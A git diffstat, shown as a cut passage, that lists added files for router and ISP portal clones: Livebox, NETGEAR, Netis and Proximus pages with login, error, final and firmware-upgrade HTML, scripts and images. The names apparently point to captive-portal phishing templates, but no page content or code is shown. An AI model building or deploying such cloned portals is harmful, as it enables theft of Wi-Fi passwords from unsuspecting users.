.../router_files/tab_data/inittabright.gif | Bin 0 -> 126 bytes .../router_files/tab_data/tabbar.gif | Bin 0 -> 64 bytes .../router_files/upgrade.html | 121 + .../router_files/upgrade_data/sigh.gif | Bin 0 -> 3406 bytes .../router_files/upgrade_data/style.css | 39 + .../router_files/upgrade_data/upgrade.css | 13 + .../sites/Livebox_fr.portal/css/array.css | 167 + .../sites/Livebox_fr.portal/css/button.css | 54 + .../sites/Livebox_fr.portal/css/contener.css | 427 ++ .../sites/Livebox_fr.portal/css/fonts.css | 91 + .../sites/Livebox_fr.portal/css/hardware.css | 146 + .../sites/Livebox_fr.portal/css/header.css | 125 + .../sites/Livebox_fr.portal/css/lbpopup.css | 241 + .../sites/Livebox_fr.portal/css/livebox.css | 34 + .../sites/Livebox_fr.portal/css/menu.css | 246 + .../sites/Livebox_fr.portal/css/page.css | 40 + .../Livebox_fr.portal/css/progressbar.css | 65 + .../sites/Livebox_fr.portal/css/styles.css | 612 ++ .../Livebox_fr.portal/css/subcontener.css | 84 + .../sites/Livebox_fr.portal/error.html | 880 +++ .../sites/Livebox_fr.portal/final.html | 23 + .../sites/Livebox_fr.portal/images/GET.html | 887 +++ .../Livebox_fr.portal/images/array/GET.html | 887 +++ .../Livebox_fr.portal/images/array/aide.jpg | Bin 0 -> 4692 bytes .../images/array/indexedde.html | 887 +++ .../images/array/t2_bottom.html | 887 +++ .../images/array/t2_bottom_dbl.html | 887 +++ .../images/array/t2_colsep.html | 887 +++ .../images/array/t2_colsep2.html | 887 +++ .../images/array/t2_colsep2_dbl.html | 887 +++ .../images/array/t2_colsep_dbl.html | 887 +++ .../images/array/t2_left_dbl.gif | Bin 0 -> 840 bytes .../images/array/t2_left_dbl2.html | 887 +++ .../images/array/t2_right_dbl.gif | Bin 0 -> 839 bytes .../images/array/t2_right_dbl2.html | 887 +++ .../images/array/t2_right_rowsep.html | 887 +++ .../images/array/t2_rowsep.html | 887 +++ .../images/array/t2_top.html | 887 +++ .../images/array/t2_top_colsep.gif | Bin 0 -> 822 bytes .../images/array/t2_top_left.gif | Bin 0 -> 843 bytes .../images/array/t2_top_right.gif | Bin 0 -> 840 bytes .../images/button/poubelle-disable.jpg | Bin 0 -> 717 bytes .../images/button/poubelle.jpg | Bin 0 -> 829 bytes .../images/button/right-normal.gif | Bin 0 -> 637 bytes .../images/contener/nosubnav_gradient.gif | Bin 0 -> 819 bytes .../images/contener/nosubnav_left.gif | Bin 0 -> 893 bytes .../images/contener/nosubnav_right.gif | Bin 0 -> 896 bytes .../images/contener/subnav_bargrey.gif | Bin 0 -> 811 bytes .../images/contener/subnav_left.gif | Bin 0 -> 870 bytes .../images/contener/subnav_right.gif | Bin 0 -> 871 bytes .../images/frames/border.gif | Bin 0 -> 43 bytes .../images/frames/bottomleft.gif | Bin 0 -> 905 bytes .../images/frames/bottomright.gif | Bin 0 -> 914 bytes .../images/frames/topleft.gif | Bin 0 -> 854 bytes .../images/frames/topright.gif | Bin 0 -> 855 bytes .../images/hardware/GET.html | 887 +++ .../hardware/connection/wifi_enable.gif | Bin 0 -> 808 bytes .../images/hardware/equ_bg_enable.html | 887 +++ .../images/hardware/indexedde.html | 887 +++ .../images/hardware/round_bg.gif | Bin 0 -> 1118 bytes .../images/hardware/vignette_disable.gif | Bin 0 -> 878 bytes .../images/hardware/vignette_enable.gif | Bin 0 -> 893 bytes .../images/header-logo-livebox.png | Bin 0 -> 7284 bytes .../images/header/left_down.gif | Bin 0 -> 445 bytes .../images/header/left_up.gif | Bin 0 -> 463 bytes .../images/header/middle_down.gif | Bin 0 -> 463 bytes .../images/header/middle_up.gif | Bin 0 -> 431 bytes .../images/header/right_down.gif | Bin 0 -> 487 bytes .../images/header/right_up.gif | Bin 0 -> 464 bytes .../Livebox_fr.portal/images/home/GET.html | 887 +++ .../images/home/indexedde.html | 887 +++ .../Livebox_fr.portal/images/home/sep.html | 887 +++ .../Livebox_fr.portal/images/indexedde.html | 887 +++ .../Livebox_fr.portal/images/menu/GET.html | 887 +++ .../images/menu/arrowrightorange.png | Bin 0 -> 307 bytes .../images/menu/arrowrightwhite.png | Bin 0 -> 278 bytes .../Livebox_fr.portal/images/menu/bottom.gif | Bin 0 -> 809 bytes .../images/menu/bottomleft.gif | Bin 0 -> 905 bytes .../images/menu/bottomright.gif | Bin 0 -> 914 bytes .../images/menu/collapse.png | Bin 0 -> 209 bytes .../Livebox_fr.portal/images/menu/expand.png | Bin 0 -> 220 bytes .../images/menu/indexedde.html | 887 +++ .../Livebox_fr.portal/images/menu/left.gif | Bin 0 -> 814 bytes .../Livebox_fr.portal/images/menu/leftsep.gif | Bin 0 -> 807 bytes .../images/menu/leftsepbig.gif | Bin 0 -> 878 bytes .../Livebox_fr.portal/images/menu/right.gif | Bin 0 -> 814 bytes .../images/menu/rightsep.gif | Bin 0 -> 808 bytes .../Livebox_fr.portal/images/menu/sep.gif | Bin 0 -> 801 bytes .../Livebox_fr.portal/images/menu/sepbig.gif | Bin 0 -> 817 bytes .../Livebox_fr.portal/images/menu/top.gif | Bin 0 -> 803 bytes .../Livebox_fr.portal/images/menu/topleft.gif | Bin 0 -> 854 bytes .../images/menu/topright.gif | Bin 0 -> 855 bytes .../Livebox_fr.portal/images/menu/vide.html | 887 +++ .../Livebox_fr.portal/images/popup/1.gif | Bin 0 -> 68 bytes .../Livebox_fr.portal/images/popup/GET.html | 887 +++ .../Livebox_fr.portal/images/popup/bt1.gif | Bin 0 -> 1417 bytes .../Livebox_fr.portal/images/popup/cccccc.gif | Bin 0 -> 43 bytes .../images/popup/indexedde.html | 887 +++ .../images/popup/paramBD.gif | Bin 0 -> 72 bytes .../images/popup/paramBG.gif | Bin 0 -> 72 bytes .../images/popup/paramHD.gif | Bin 0 -> 72 bytes .../images/popup/paramHG.gif | Bin 0 -> 73 bytes .../images/popup/popupBL.gif | Bin 0 -> 258 bytes .../images/popup/popupBM.gif | Bin 0 -> 147 bytes .../images/popup/popupBR.gif | Bin 0 -> 265 bytes .../images/popup/popupBodyL.html | 887 +++ .../images/popup/popupBodyR.gif | Bin 0 -> 49 bytes .../images/popup/popupM.html | 887 +++ .../images/popup/popupTL.gif | Bin 0 -> 295 bytes .../images/popup/popupTR.gif | Bin 0 -> 298 bytes .../images/progressbar/GET.html | 887 +++ .../images/progressbar/background.html | 887 +++ .../images/progressbar/foreground_left.html | 887 +++ .../images/progressbar/foreground_right.html | 887 +++ .../images/progressbar/indexedde.html | 887 +++ .../Livebox_fr.portal/images/timezonemap.html | 887 +++ .../sites/Livebox_fr.portal/index.html | 880 +++ .../sites/Livebox_fr.portal/js/LBPopup.js | 222 + .../sites/Livebox_fr.portal/js/control.js | 659 ++ .../sites/Livebox_fr.portal/js/dragresize.js | 253 + .../sites/Livebox_fr.portal/js/md5.js | 257 + .../sites/Livebox_fr.portal/js/progressbar.js | 169 + .../sites/Livebox_fr.portal/js/script.js | 585 ++ .../NETGEAR-Login_en.portal/css/MNUAccess.css | 1 + .../NETGEAR-Login_en.portal/css/button.css | 1 + .../NETGEAR-Login_en.portal/css/help.css | 67 + .../css/jScrollPane.css | 64 + .../css/jquery.flexbox.css | 1 + .../css/jquery.jscrollpane.css | 1 + .../NETGEAR-Login_en.portal/css/mainpage.css | 1 + .../NETGEAR-Login_en.portal/css/menu.css | 1 + .../NETGEAR-Login_en.portal/css/qos_tabs.css | 1 + .../NETGEAR-Login_en.portal/css/scrollbar.css | 1 + .../css/standalone.css | 1 + .../NETGEAR-Login_en.portal/css/table.css | 1 + .../NETGEAR-Login_en.portal/css/table_noh.css | 1 + .../NETGEAR-Login_en.portal/css/tabs.css | 1 + .../sites/NETGEAR-Login_en.portal/error.html | 101 + .../sites/NETGEAR-Login_en.portal/final.html | 2 + .../img/AP_Mode_R7000.png | Bin 0 -> 154589 bytes .../img/Netgeargenie.png | Bin 0 -> 5763 bytes .../img/NewNetgeargenie.png | Bin 0 -> 22674 bytes .../img/ReadyShare.gif | Bin 0 -> 2337 bytes .../NETGEAR-Login_en.portal/img/Wireless.gif | Bin 0 -> 2205 bytes .../NETGEAR-Login_en.portal/img/add_icon.gif | Bin 0 -> 58 bytes .../img/apply_icon.gif | Bin 0 -> 82 bytes .../NETGEAR-Login_en.portal/img/barrow.gif | Bin 0 -> 854 bytes .../NETGEAR-Login_en.portal/img/barrow.jpg | Bin 0 -> 969 bytes .../img/barrow_down.jpg | Bin 0 -> 811 bytes .../img/barrow_down_nobackground.gif | Bin 0 -> 855 bytes .../img/barrow_nobackground.gif | Bin 0 -> 857 bytes .../img/basic-black-button-large.gif | Bin 0 -> 2028 bytes .../img/basic-gray-button-large.gif | Bin 0 -> 2059 bytes .../img/basic-green-button.gif | Bin 0 -> 236 bytes .../img/basic-purple-button-large.gif | Bin 0 -> 1726 bytes .../img/basic-purple-button.gif | Bin 0 -> 3181 bytes .../img/basic-white-button.gif | Bin 0 -> 2291 bytes .../img/box-header-background-large.gif | Bin 0 -> 2631 bytes .../img/box-header-background.gif | Bin 0 -> 1247 bytes .../img/cancel_icon.gif | Bin 0 -> 84 bytes .../img/cover-image.gif | Bin 0 -> 813 bytes .../img/cover-image_noh.gif | Bin 0 -> 821 bytes .../NETGEAR-Login_en.portal/img/edit_icon.gif | Bin 0 -> 60 bytes .../img/error-icon.gif | Bin 0 -> 982 bytes .../NETGEAR-Login_en.portal/img/error.png | Bin 0 -> 3865 bytes .../firmware-hint-background-long-long.gif | Bin 0 -> 198 bytes .../img/firmware-hint-background-long.gif | Bin 0 -> 192 bytes .../img/firmware-hint-background-short.gif | Bin 0 -> 1550 bytes .../img/firmware-hint-background.gif | Bin 0 -> 1616 bytes .../NETGEAR-Login_en.portal/img/footer.gif | Bin 0 -> 1873 bytes .../img/footer_double.gif | Bin 0 -> 1323 bytes .../img/genie_copy_wifi_setup.gif | Bin 0 -> 59365 bytes .../img/genie_disable_wifi_setup.gif | Bin 0 -> 105075 bytes .../img/genie_download.jpg | Bin 0 -> 32456 bytes .../img/genie_help_choose_1.gif | Bin 0 -> 64889 bytes .../img/genie_help_choose_4.gif | Bin 0 -> 235493 bytes .../img/genie_learn_more_ap.jpg | Bin 0 -> 41508 bytes .../img/genie_learn_more_router.jpg | Bin 0 -> 40856 bytes .../NETGEAR-Login_en.portal/img/good-icon.gif | Bin 0 -> 373 bytes .../img/gray-button.gif | Bin 0 -> 3346 bytes .../NETGEAR-Login_en.portal/img/help-icon.gif | Bin 0 -> 353 bytes .../img/helparrowdown-icon.gif | Bin 0 -> 277 bytes .../img/helparrowup-icon.gif | Bin 0 -> 369 bytes .../NETGEAR-Login_en.portal/img/info.gif | Bin 0 -> 1487 bytes .../NETGEAR-Login_en.portal/img/label.png | Bin 0 -> 81926 bytes .../img/main-page-bottom-large.gif | Bin 0 -> 1850 bytes .../img/main-page-bottom.gif | Bin 0 -> 1594 bytes .../img/page-table-bottom-2.gif | Bin 0 -> 241 bytes .../img/page-table-bottom.gif | Bin 0 -> 450 bytes .../img/page-table-button-gray.gif | Bin 0 -> 362 bytes .../img/page-table-button-large.gif | Bin 0 -> 900 bytes .../img/page-table-button.gif | Bin 0 -> 546 bytes .../img/page-table-icon.gif | Bin 0 -> 150 bytes .../img/page-table-seperate.gif | Bin 0 -> 80 bytes .../NETGEAR-Login_en.portal/img/pvpn.jpg | Bin 0 -> 82901 bytes .../img/qos-tab-active.gif | Bin 0 -> 1252 bytes .../img/qos-tab-active.jpg | Bin 0 -> 1157 bytes .../img/qos-tab-hover.jpg | Bin 0 -> 1010 bytes .../img/qos-tab-nonactive.gif | Bin 0 -> 1052 bytes .../img/qos-tab-nonactive.jpg | Bin 0 -> 917 bytes .../img/refresh-icon.gif | Bin 0 -> 189 bytes .../img/remote_app.jpg | Bin 0 -> 803 bytes .../img/roundbottomleft_table.gif | Bin 0 -> 73 bytes .../img/roundbottomright_table.gif | Bin 0 -> 72 bytes .../img/roundedcornr_239763.gif | Bin 0 -> 145 bytes .../img/roundedcornr_306126.gif | Bin 0 -> 151 bytes .../img/roundedcornr_637010.gif | Bin 0 -> 3867 bytes .../img/roundedcornr_802784.gif | Bin 0 -> 1740 bytes .../img/roundedcornr_806183.gif | Bin 0 -> 330 bytes .../img/roundleft_apply.gif | Bin 0 -> 769 bytes .../img/roundleft_button.gif | Bin 0 -> 1594 bytes .../img/roundleft_grey.gif | Bin 0 -> 793 bytes .../img/roundleft_update.gif | Bin 0 -> 1330 bytes .../img/roundright_apply.gif | Bin 0 -> 213 bytes .../img/roundright_button.gif | Bin 0 -> 998 bytes .../img/roundright_grey.gif | Bin 0 -> 221 bytes .../img/roundright_update.gif | Bin 0 -> 871 bytes .../img/roundtopleft_table.gif | Bin 0 -> 89 bytes .../img/roundtopright_table.gif | Bin 0 -> 89 bytes .../NETGEAR-Login_en.portal/img/search-go.gif | Bin 0 -> 274 bytes .../img/search_button.gif | Bin 0 -> 319 bytes .../img/search_button_long.gif | Bin 0 -> 442 bytes .../img/search_button_middle.gif | Bin 0 -> 366 bytes .../NETGEAR-Login_en.portal/img/sel_win7.gif | Bin 0 -> 1520 bytes .../img/subMenuActive.png | Bin 0 -> 793 bytes .../img/subMenuActiveLarge.png | Bin 0 -> 1080 bytes .../img/subhead-bottom.gif | Bin 0 -> 320 bytes .../img/subhead-top.gif | Bin 0 -> 324 bytes .../img/subhead2-background.jpg | Bin 0 -> 9041 bytes .../img/subhead2-background_noh.jpg | Bin 0 -> 5385 bytes .../img/subhead2-bottom.gif | Bin 0 -> 2308 bytes .../img/subhead2-top.gif | Bin 0 -> 2757 bytes .../img/subhead2-top_noh.gif | Bin 0 -> 1035 bytes .../img/tab-active.gif | Bin 0 -> 1014 bytes .../img/tab-nonactive.gif | Bin 0 -> 1014 bytes .../NETGEAR-Login_en.portal/img/tabs.gif | Bin 0 -> 2318 bytes .../NETGEAR-Login_en.portal/img/title.gif | Bin 0 -> 317 bytes .../NETGEAR-Login_en.portal/img/wait.gif | Bin 0 -> 6337 bytes .../img/warning-icon.gif | Bin 0 -> 1036 bytes .../NETGEAR-Login_en.portal/img/warning.png | Bin 0 -> 1213 bytes .../NETGEAR-Login_en.portal/img/warrow.jpg | Bin 0 -> 361 bytes .../sites/NETGEAR-Login_en.portal/index.html | 99 + .../sites/NETGEAR_en.portal/ayuda.htm | 2 + .../sites/NETGEAR_en.portal/background.png | Bin 0 -> 10644 bytes .../sites/NETGEAR_en.portal/error.html | 38 + .../sites/NETGEAR_en.portal/final.html | 1 + .../sites/NETGEAR_en.portal/house.png | Bin 0 -> 34302 bytes .../sites/NETGEAR_en.portal/house1.png | Bin 0 -> 153032 bytes .../sites/NETGEAR_en.portal/index.htm | 2 + .../sites/NETGEAR_en.portal/info.css | 1 + .../sites/NETGEAR_en.portal/info.html | 91 + .../sites/NETGEAR_en.portal/info2.css | 1 + .../sites/NETGEAR_es.portal/ayuda.htm | 2 + .../sites/NETGEAR_es.portal/background.png | Bin 0 -> 10644 bytes .../sites/NETGEAR_es.portal/error.html | 38 + .../sites/NETGEAR_es.portal/final.html | 1 + .../sites/NETGEAR_es.portal/house.png | Bin 0 -> 100751 bytes .../sites/NETGEAR_es.portal/house1.png | Bin 0 -> 301654 bytes .../sites/NETGEAR_es.portal/index.htm | 2 + .../sites/NETGEAR_es.portal/info.css | 1 + .../sites/NETGEAR_es.portal/info.html | 92 + .../sites/NETGEAR_es.portal/info2.css | 1 + .../sites/NETGEAR_it.portal/css/form.css | 1 + .../sites/NETGEAR_it.portal/css/help.css | 1 + .../NETGEAR_it.portal/css/upg_upgrade.css | 1 + .../NETGEAR_it.portal/images/darkblue.gif | Bin 0 -> 43 bytes .../NETGEAR_it.portal/images/favicon.ico | Bin 0 -> 8348 bytes .../NETGEAR_it.portal/images/liteblue.gif | Bin 0 -> 95 bytes .../NETGEAR_it.portal/images/menublue.gif | Bin 0 -> 823 bytes .../NETGEAR_it.portal/images/redbull.gif | Bin 0 -> 170 bytes .../NETGEAR_it.portal/images/settings_v6.gif | Bin 0 -> 5788 bytes .../sites/NETGEAR_it.portal/images/spacer.gif | Bin 0 -> 43 bytes .../sites/NETGEAR_it.portal/index.html | 1 + .../sites/NETGEAR_it.portal/js/func.js | 177 + .../NETGEAR_it.portal/js/jquery-2.1.4.min.js | 4 + .../sites/NETGEAR_it.portal/js/pBar.js | 26 + .../sites/NETGEAR_it.portal/mnu_blank.htm | 2 + .../sites/NETGEAR_it.portal/mnu_menu.htm | 24 + .../sites/NETGEAR_it.portal/mnu_top.htm | 2 + .../sites/NETGEAR_it.portal/upg_upgrade.htm | 52 + .../sites/NETGEAR_it.portal/upg_upgrade_h.htm | 2 + .../sites/Netis_it.portal/css/netcore.css | 1 + .../sites/Netis_it.portal/css/style.css | 1 + .../sites/Netis_it.portal/css/update.css | 1 + .../sites/Netis_it.portal/css/welcome.css | 1 + .../sites/Netis_it.portal/images/back.gif | Bin 0 -> 211 bytes .../Netis_it.portal/images/bg_leftmenu.gif | Bin 0 -> 518 bytes .../images/btn_mobile_setup.jpg | Bin 0 -> 2883 bytes .../images/btn_quick_setup.jpg | Bin 0 -> 4183 bytes .../sites/Netis_it.portal/images/del.gif | Bin 0 -> 145 bytes .../sites/Netis_it.portal/images/edit.gif | Bin 0 -> 197 bytes .../sites/Netis_it.portal/images/favicon.ico | Bin 0 -> 4286 bytes .../sites/Netis_it.portal/images/help_b1.jpg | Bin 0 -> 451 bytes .../sites/Netis_it.portal/images/icon_jia.gif | Bin 0 -> 85 bytes .../Netis_it.portal/images/icon_jian.gif | Bin 0 -> 72 bytes .../sites/Netis_it.portal/images/icon_no.gif | Bin 0 -> 73 bytes .../sites/Netis_it.portal/images/icon_now.gif | Bin 0 -> 75 bytes .../Netis_it.portal/images/left_031.html | 31 + .../sites/Netis_it.portal/images/link.gif | Bin 0 -> 877 bytes .../Netis_it.portal/images/logo_netis.png | Bin 0 -> 7128 bytes .../Netis_it.portal/images/top_right_bg.gif | Bin 0 -> 55 bytes .../sites/Netis_it.portal/index.html | 53 + .../sites/Netis_it.portal/js/action.js | 450 ++ .../sites/Netis_it.portal/js/config.js | 10 + .../sites/Netis_it.portal/js/debug.js | 10 + .../sites/Netis_it.portal/js/init.js | 2 + .../Netis_it.portal/js/jquery-2.1.4.min.js | 1 + .../sites/Netis_it.portal/js/language_it.js | 2 + .../sites/Netis_it.portal/js/language_us.js | 2 + .../sites/Netis_it.portal/js/logic.js | 131 + .../sites/Netis_it.portal/js/menu.js | 14 + .../sites/Netis_it.portal/js/netcore.js | 623 ++ .../sites/Netis_it.portal/js/pBar.js | 3 + .../Popover requires tooltip.html | 4 + .../Proximus_fr.portal/css/bootstrap.min.css | 5 + .../sites/Proximus_fr.portal/css/proximus.css | 677 ++ .../Proximus_fr.portal/css/proximus_font.css | 45 + .../css/type/Proximus-Bold.eot | Bin 0 -> 27442 bytes .../css/type/Proximus-Bold.svg | 3164 ++++++++ .../css/type/Proximus-Bold.ttf | Bin 0 -> 61660 bytes .../css/type/Proximus-Bold.woff | Bin 0 -> 30024 bytes .../css/type/Proximus-BoldItalic.eot | Bin 0 -> 29846 bytes .../css/type/Proximus-BoldItalic.svg | 3621 +++++++++ .../css/type/Proximus-BoldItalic.ttf | Bin 0 -> 66184 bytes .../css/type/Proximus-BoldItalic.woff | Bin 0 -> 32576 bytes .../css/type/Proximus-BoldItalicd41d.eot | Bin 0 -> 29846 bytes .../css/type/Proximus-Boldd41d.eot | Bin 0 -> 27442 bytes .../css/type/Proximus-Light.eot | Bin 0 -> 26773 bytes .../css/type/Proximus-Light.svg | 3414 +++++++++ .../css/type/Proximus-Light.ttf | Bin 0 -> 60340 bytes .../css/type/Proximus-Light.woff | Bin 0 -> 29392 bytes .../css/type/Proximus-LightItalic.eot | Bin 0 -> 29694 bytes .../css/type/Proximus-LightItalic.svg | 4034 ++++++++++ .../css/type/Proximus-LightItalic.ttf | Bin 0 -> 66240 bytes .../css/type/Proximus-LightItalic.woff | Bin 0 -> 32464 bytes .../css/type/Proximus-LightItalicd41d.eot | Bin 0 -> 29694 bytes .../css/type/Proximus-Lightd41d.eot | Bin 0 -> 26773 bytes .../css/type/Proximus-Regular.eot | Bin 0 -> 29164 bytes .../css/type/Proximus-Regular.svg | 3966 ++++++++++ .../css/type/Proximus-Regular.ttf | Bin 0 -> 63664 bytes .../css/type/Proximus-Regular.woff | Bin 0 -> 31780 bytes .../css/type/Proximus-RegularItalic.eot | Bin 0 -> 31621 bytes .../css/type/Proximus-RegularItalic.svg | 4574 +++++++++++ .../css/type/Proximus-RegularItalic.ttf | Bin 0 -> 69232 bytes .../css/type/Proximus-RegularItalic.woff | Bin 0 -> 34712 bytes .../css/type/Proximus-RegularItalicd41d.eot | Bin 0 -> 31621 bytes .../css/type/Proximus-Regulard41d.eot | Bin 0 -> 29164 bytes .../sites/Proximus_fr.portal/error.html | 414 + .../sites/Proximus_fr.portal/final.html | 398 + .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20335 bytes .../fonts/glyphicons-halflings-regular.svg | 229 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 41280 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23320 bytes .../glyphicons-halflings-regulard41d.eot | Bin 0 -> 20335 bytes .../img/AV_Console_icon.png | Bin 0 -> 670 bytes .../img/AV_Console_icon_disable.png | Bin 0 -> 667 bytes .../img/Game_console_icon.png | Bin 0 -> 789 bytes .../img/Game_console_icon_disable.png | Bin 0 -> 787 bytes .../sites/Proximus_fr.portal/img/LAN_icon.png | Bin 0 -> 812 bytes .../img/LAN_icon_disable.png | Bin 0 -> 810 bytes .../sites/Proximus_fr.portal/img/NAS_icon.png | Bin 0 -> 607 bytes .../img/NAS_icon_disable.png | Bin 0 -> 603 bytes .../img/Network_Access_point_icon.png | Bin 0 -> 717 bytes .../img/Network_Access_point_icon_disable.png | Bin 0 -> 715 bytes .../sites/Proximus_fr.portal/img/PLC_icon.png | Bin 0 -> 1054 bytes .../img/PLC_icon_disable.png | Bin 0 -> 1094 bytes .../Proximus_fr.portal/img/Printer_icon.png | Bin 0 -> 707 bytes .../img/Printer_icon_disable.png | Bin 0 -> 705 bytes .../sites/Proximus_fr.portal/img/TV_icon.png | Bin 0 -> 595 bytes .../img/TV_icon_disable.png | Bin 0 -> 592 bytes .../Proximus_fr.portal/img/Tablet_icon.png | Bin 0 -> 573 bytes .../img/Tablet_icon_disable.png | Bin 0 -> 570 bytes .../sites/Proximus_fr.portal/img/USB_icon.png | Bin 0 -> 764 bytes .../img/Wifi_Bridge_icon.png | Bin 0 -> 673 bytes .../img/Wifi_Bridge_icon_disable.png | Bin 0 -> 670 bytes .../Proximus_fr.portal/img/access_control.png | Bin 0 -> 896 bytes .../img/access_control_purple.png | Bin 0 -> 995 bytes .../Proximus_fr.portal/img/arrow-down1.png | Bin 0 -> 441 bytes .../img/arrow-down1_hover.png | Bin 0 -> 430 bytes .../img/arrow-right-hover.png | Bin 0 -> 355 bytes .../Proximus_fr.portal/img/arrow-right.png | Bin 0 -> 385 bytes .../Proximus_fr.portal/img/arrow-up1.png | Bin 0 -> 437 bytes .../img/arrow-up1_hover.png | Bin 0 -> 431 bytes .../sites/Proximus_fr.portal/img/close.png | Bin 0 -> 310 bytes .../sites/Proximus_fr.portal/img/down-arw.png | Bin 0 -> 151 bytes .../sites/Proximus_fr.portal/img/ethernet.png | Bin 0 -> 897 bytes .../Proximus_fr.portal/img/header_bg.png | Bin 0 -> 312 bytes .../Proximus_fr.portal/img/help_disabled.png | Bin 0 -> 531 bytes .../img/intercept_title.png | Bin 0 -> 956 bytes .../Proximus_fr.portal/img/login_help.png | Bin 0 -> 445 bytes .../img/login_help_hover.png | Bin 0 -> 441 bytes .../Proximus_fr.portal/img/login_title.png | Bin 0 -> 698 bytes .../sites/Proximus_fr.portal/img/logo.png | Bin 0 -> 1677 bytes .../sites/Proximus_fr.portal/img/logout.png | Bin 0 -> 383 bytes .../Proximus_fr.portal/img/mobile_icon.png | Bin 0 -> 703 bytes .../img/mobile_icon_disable.png | Bin 0 -> 701 bytes .../Proximus_fr.portal/img/modal_close.png | Bin 0 -> 522 bytes .../sites/Proximus_fr.portal/img/my_modem.png | Bin 0 -> 455 bytes .../img/my_modem_purple.png | Bin 0 -> 507 bytes .../img/network_connectivity.png | Bin 0 -> 970 bytes .../img/network_connectivity_black.png | Bin 0 -> 985 bytes .../img/network_connectivity_purple.png | Bin 0 -> 1199 bytes .../sites/Proximus_fr.portal/img/pc_icon.png | Bin 0 -> 551 bytes .../img/pc_icon_disable.png | Bin 0 -> 528 bytes .../img/popup_tab_border.png | Bin 0 -> 115 bytes .../sites/Proximus_fr.portal/img/profile.png | Bin 0 -> 772 bytes .../Proximus_fr.portal/img/profile_hover.png | Bin 0 -> 806 bytes .../img/profile_loggedout.png | Bin 0 -> 49216 bytes .../img/profile_settings.png | Bin 0 -> 847 bytes .../Proximus_fr.portal/img/select_arrow.png | Bin 0 -> 185 bytes .../sites/Proximus_fr.portal/img/settings.png | Bin 0 -> 494 bytes .../Proximus_fr.portal/img/settings_black.png | Bin 0 -> 336 bytes .../img/settings_purple.png | Bin 0 -> 499 bytes .../Proximus_fr.portal/img/settings_white.png | Bin 0 -> 408 bytes .../Proximus_fr.portal/img/telephone_icon.png | Bin 0 -> 582 bytes .../img/telephone_icon_disable.html | 4 + .../sites/Proximus_fr.portal/img/up-arw.png | Bin 0 -> 208 bytes .../Proximus_fr.portal/img/user_data.png | Bin 0 -> 76406 bytes .../img/wifi_bridge_repeater_icon.png | Bin 0 -> 709 bytes .../img/wifi_bridge_repeater_icon_disable.png | Bin 0 -> 707 bytes .../img/wifi_fivepzeo_ghz.png | Bin 0 -> 2268 bytes .../img/wifi_twopfour_ghz.png | Bin 0 -> 2335 bytes .../sites/Proximus_fr.portal/index.html | 414 + .../Proximus_fr.portal/js/bootstrap.min.js | 7 + .../sites/Proximus_fr.portal/js/jquery.min.js | 4 + .../Popover requires tooltip.html | 4 + .../Proximus_nl.portal/css/bootstrap.min.css | 5 + .../sites/Proximus_nl.portal/css/proximus.css | 677 ++ .../Proximus_nl.portal/css/proximus_font.css | 45 + .../css/type/Proximus-Bold.eot | Bin 0 -> 27442 bytes .../css/type/Proximus-Bold.svg | 3164 ++++++++ .../css/type/Proximus-Bold.ttf | Bin 0 -> 61660 bytes .../css/type/Proximus-Bold.woff | Bin 0 -> 30024 bytes .../css/type/Proximus-BoldItalic.eot | Bin 0 -> 29846 bytes .../css/type/Proximus-BoldItalic.svg | 3621 +++++++++ .../css/type/Proximus-BoldItalic.ttf | Bin 0 -> 66184 bytes .../css/type/Proximus-BoldItalic.woff | Bin 0 -> 32576 bytes .../css/type/Proximus-BoldItalicd41d.eot | Bin 0 -> 29846 bytes .../css/type/Proximus-Boldd41d.eot | Bin 0 -> 27442 bytes .../css/type/Proximus-Light.eot | Bin 0 -> 26773 bytes .../css/type/Proximus-Light.svg | 3414 +++++++++ .../css/type/Proximus-Light.ttf | Bin 0 -> 60340 bytes .../css/type/Proximus-Light.woff | Bin 0 -> 29392 bytes .../css/type/Proximus-LightItalic.eot | Bin 0 -> 29694 bytes .../css/type/Proximus-LightItalic.svg | 4034 ++++++++++ .../css/type/Proximus-LightItalic.ttf | Bin 0 -> 66240 bytes .../css/type/Proximus-LightItalic.woff | Bin 0 -> 32464 bytes .../css/type/Proximus-LightItalicd41d.eot | Bin 0 -> 29694 bytes .../css/type/Proximus-Lightd41d.eot | Bin 0 -> 26773 bytes .../css/type/Proximus-Regular.eot | Bin 0 -> 29164 bytes .../css/type/Proximus-Regular.svg | 3966 ++++++++++ .../css/type/Proximus-Regular.ttf | Bin 0 -> 63664 bytes .../css/type/Proximus-Regular.woff | Bin 0 -> 31780 bytes .../css/type/Proximus-RegularItalic.eot | Bin 0 -> 31621 bytes .../css/type/Proximus-RegularItalic.svg | 4574 +++++++++++ .../css/type/Proximus-RegularItalic.ttf | Bin 0 -> 69232 bytes .../css/type/Proximus-RegularItalic.woff | Bin 0 -> 34712 bytes .../css/type/Proximus-RegularItalicd41d.eot | Bin 0 -> 31621 bytes .../css/type/Proximus-Regulard41d.eot | Bin 0 -> 29164 bytes .../sites/Proximus_nl.portal/error.html | 414 + .../sites/Proximus_nl.portal/final.html | 395 + .../fonts/glyphicons-halflings-regular.eot | Bin 0 -> 20335 bytes .../fonts/glyphicons-halflings-regular.svg | 229 + .../fonts/glyphicons-halflings-regular.ttf | Bin 0 -> 41280 bytes .../fonts/glyphicons-halflings-regular.woff | Bin 0 -> 23320 bytes .../glyphicons-halflings-regulard41d.eot | Bin 0 -> 20335 bytes .../img/AV_Console_icon.png | Bin 0 -> 670 bytes .../img/AV_Console_icon_disable.png | Bin 0 -> 667 bytes .../img/Game_console_icon.png | Bin 0 -> 789 bytes .../img/Game_console_icon_disable.png | Bin 0 -> 787 bytes .../sites/Proximus_nl.portal/img/LAN_icon.png | Bin 0 -> 812 bytes .../img/LAN_icon_disable.png | Bin 0 -> 810 bytes .../sites/Proximus_nl.portal/img/NAS_icon.png | Bin 0 -> 607 bytes .../img/NAS_icon_disable.png | Bin 0 -> 603 bytes .../img/Network_Access_point_icon.png | Bin 0 -> 717 bytes .../img/Network_Access_point_icon_disable.png | Bin 0 -> 715 bytes .../sites/Proximus_nl.portal/img/PLC_icon.png | Bin 0 -> 1054 bytes .../img/PLC_icon_disable.png | Bin 0 -> 1094 bytes .../Proximus_nl.portal/img/Printer_icon.png | Bin 0 -> 707 bytes .../img/Printer_icon_disable.png | Bin 0 -> 705 bytes .../sites/Proximus_nl.portal/img/TV_icon.png | Bin 0 -> 595 bytes .../img/TV_icon_disable.png | Bin 0 -> 592 bytes 